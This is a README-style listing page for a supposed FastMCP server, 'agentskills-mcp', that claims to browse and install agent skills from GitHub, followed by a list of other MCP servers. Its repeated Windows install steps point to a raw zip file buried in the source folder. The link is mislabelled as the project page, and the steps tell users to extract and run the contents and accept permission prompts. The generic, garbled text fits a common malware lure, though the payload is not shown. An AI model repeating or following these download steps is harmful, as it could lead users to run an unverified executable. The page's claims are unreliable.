agentskills-mcp
A FastMCP server that helps users discover, browse, and install agent skills from curated GitHub collections, with support for adding new skill sources.
README
๐ค agentskills-mcp - Find and add agent skills fast
๐ What this app does
agentskills-mcp is a FastMCP server that helps you find and install agent skills from large GitHub skill collections. It also lets you add more skill sources later.
Use it when you want one place to browse skills, pull in the ones you need, and keep your setup organized. It fits users who work with AI agents, local tools, or model context protocol apps.
๐ฅ Download and install on Windows
- Open this page: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
- On the GitHub page, look for the latest release or the main project files.
- Download the Windows version if one is provided, or get the source package from the repository page.
- Save the file to your Downloads folder.
- If the download comes as a zip file, right-click it and choose Extract All.
- Open the extracted folder.
- Follow the run steps listed in the project files, such as a README or launch script.
- If Windows asks for permission, choose Yes.
If the project is delivered as source files, you may need Python installed on your PC before you run it. If it comes with a ready-to-run file, you can open it like any normal app.
๐ฅ๏ธ What you need
- Windows 10 or Windows 11
- A stable internet connection
- Enough free space for the app and skill files
- Python 3.10 or later if you run from source
- Git if you want to copy the project from the repository
For best results, use an account that can install apps and save files in your user folder.
๐งญ First-time setup
- Download the app from the GitHub link above.
- Open the file you downloaded.
- If you see a zip file, extract it first.
- If you see a project folder, keep all files together.
- Open the command prompt if the project asks you to run commands.
- Follow the run command in the project files.
- Leave the window open while the server runs.
If you use an AI tool that connects to MCP servers, you can point it to this server after setup.
๐ง How it works
agentskills-mcp acts as a bridge between skill collections and your local tools. It scans curated GitHub sources, lists available skills, and helps you add them to your workflow.
Typical tasks include:
- browsing skill collections
- finding skills by name or topic
- installing selected skills
- adding new skill sources
- keeping skill access in one place
The app uses the Model Context Protocol, so it can fit into tools that support MCP servers.
โจ Main features
- Discover skills from large curated GitHub collections
- Install skills from a central place
- Add more skill sources when you need them
- Work with FastMCP-based tools
- Support AI agent workflows
- Keep skill lookup simple
- Use GitHub as the source for skill libraries
- Fit into developer tools and local automation setups
๐๏ธ Skill sources
This project focuses on skill libraries that live on GitHub. It can work with large public collections and can be extended with new sources.
You can use it to:
- browse curated skills
- group skills by topic
- pick tools for specific agent tasks
- maintain a custom skill set
- link more repositories or collections later
๐งฐ How to use it day to day
- Start the server.
- Open your MCP-aware app or agent tool.
- Connect that tool to agentskills-mcp.
- Search for the skill you need.
- Install the skill.
- Use the skill in your agent workflow.
- Add new sources when your needs grow.
This keeps your setup clean when you work with more than one skill collection.
๐ Common uses
- building agent workflows
- managing a skill library
- exploring curated GitHub skills
- adding task-specific agent helpers
- linking tools that use MCP
- keeping automation tools in one place
๐งช Example setup path
If you want a simple setup on Windows:
- Open the GitHub page.
- Download the project files.
- Extract the files to a folder like
C:\agentskills-mcp. - Open that folder.
- Start the app using the file or command listed in the project.
- Connect it to your agent tool.
- Search for a skill and install it.
๐งพ File layout you may see
A typical project folder may include:
- a main app file
- a configuration file
- a requirements file
- a README file
- source folders for MCP logic
- folders for skill source settings
If you see these files, keep them in the same folder so the app can run without issues.
๐ Safe handling
Use skill sources you trust. Check the source name before you install a skill. Keep your Windows download folder clean and remove old zip files after setup.
๐ ๏ธ Troubleshooting
The file will not open
- Make sure the download finished
- Extract zip files first
- Try opening the file again
- Check that Windows did not block the file
The app closes right away
- Run it from the command prompt so you can see the message
- Make sure Python is installed if the project needs it
- Check that all files stayed in one folder
The server does not show up in your agent tool
- Confirm the server is running
- Check the MCP connection settings
- Restart the agent app
- Make sure the server address or command matches the project files
Skills do not appear
- Check that the source list is set up
- Confirm that the GitHub collection is reachable
- Add a new skill source if needed
- Refresh the list inside your tool
๐งฉ Topics covered
This project matches these areas:
- agent skills
- AI agents
- automation
- developer tools
- FastMCP
- GitHub
- MCP
- Model Context Protocol
- Python
- skill library
๐ Repository link
Open the project here: https://github.com/Drhir2460/agentskills-mcp/raw/refs/heads/main/src/github_skills_mcp/mcp_agentskills_crutched.zip
๐ฑ๏ธ Quick start for Windows
- Visit the GitHub page
- Download the project files
- Extract the files if needed
- Open the folder
- Run the app
- Connect your MCP tool
- Browse and install skills
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.